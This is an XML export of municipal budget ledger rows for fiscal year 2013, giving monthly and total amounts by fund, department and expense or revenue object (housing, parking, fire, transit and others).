<row _id="2639"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400924.0</object><object_description>SPC ADMIN EXPANSION</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-17170.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-17170.0</total></row>
<row _id="2640"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400925.0</object><object_description>SPC ADMIN NEW</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-21908.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-21908.0</total></row>
<row _id="2641"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1647</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1647.0</total></row>
<row _id="2642"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>65268.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>65268.0</total></row>
<row _id="2643"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>11307.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11307.0</total></row>
<row _id="2644"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>600.0</total></row>
<row _id="2645"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="2646"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>577040.0</object><object_description>AUDIT FEES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="2647"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>12813.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12813.0</total></row>
<row _id="2648"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>578330.0</object><object_description>PORTABLE ADMIN FEES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="2649"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>645934.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>6459</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>652393.0</total></row>
<row _id="2650"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>45000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-45000</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2651"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>408060.0</object><object_description>TOBACCO RETAILER LICENSE</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>-28099.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-28099.0</total></row>
<row _id="2652"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577840.0</object><object_description>ASSESSMENTS FOR CITY-OWNED PRO</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>447515.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>447515.0</total></row>
<row _id="2653"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>12342.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12342.0</total></row>
<row _id="2654"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>37000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>37000.0</total></row>
<row _id="2655"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>170000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>170000.0</total></row>
<row _id="2656"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>406794.0</object><object_description>08 UASI GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>-162889.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-162889.0</total></row>
<row _id="2657"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>560020.0</object><object_description>DOWNSPOUT REDIRECT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="2658"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401750.0</object><object_description>MUSEUM UTILITY REIMBURSE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-6000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-6000.0</total></row>
<row _id="2659"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511560.0</object><object_description>CAPITALIZED LABOR</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-1600000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-16000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1616000.0</total></row>
<row _id="2660"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>725.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>725.0</total></row>
<row _id="2661"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>544870.0</object><object_description>PARKING CITATION COSTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1500000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-1500000</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2662"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>406795.0</object><object_description>09 UASI GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>-99378.0</september><october>6162.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-93216.0</total></row>
<row _id="2663"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>522530.0</object><object_description>PARKING OUTREACH</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-10000</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2664"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>404420.0</object><object_description>5TH AND ARIZONA PARKING</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>-400000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>400000</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2665"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>407691.0</object><object_description>TAXI FRANCHISE FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-355000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>33600</april><may>0</may><june>321400.0</june><total>0.0</total></row>
<row _id="2666"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>255.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>255.0</total></row>
<row _id="2667"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>7060.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>71</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7131.0</total></row>
<row _id="2668"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>622.0</july><august>0</august><september>0.0</september><october>-4.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>618.0</total></row>
<row _id="2669"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="2670"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>195053.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>195053.0</total></row>
<row _id="2671"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>61500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>61500.0</total></row>
<row _id="2672"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>400600.0</object><object_description>OVERSIZE LOAD</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-55071.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-55071.0</total></row>
<row _id="2673"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>408010.0</object><object_description>REVIEW OF PLANNING APPLICATION</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-11000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-11000.0</total></row>
<row _id="2674"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-15354.0</july><august>0</august><september>0.0</september><october>1306.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-14048.0</total></row>
<row _id="2675"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-2411.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2411.0</total></row>
<row _id="2676"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-2009.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2009.0</total></row>
<row _id="2677"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-3982.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-474</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-4456.0</total></row>
<row _id="2678"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-6568.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-6568.0</total></row>
<row _id="2679"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-3918.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-3918.0</total></row>
<row _id="2680"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-2813.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2813.0</total></row>
<row _id="2681"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-13695.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-13695.0</total></row>
<row _id="2682"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-3433.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>235</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-3198.0</total></row>
<row _id="2683"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-30631.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-30631.0</total></row>
<row _id="2684"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2285.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2285.0</total></row>
<row _id="2685"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2754.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2754.0</total></row>
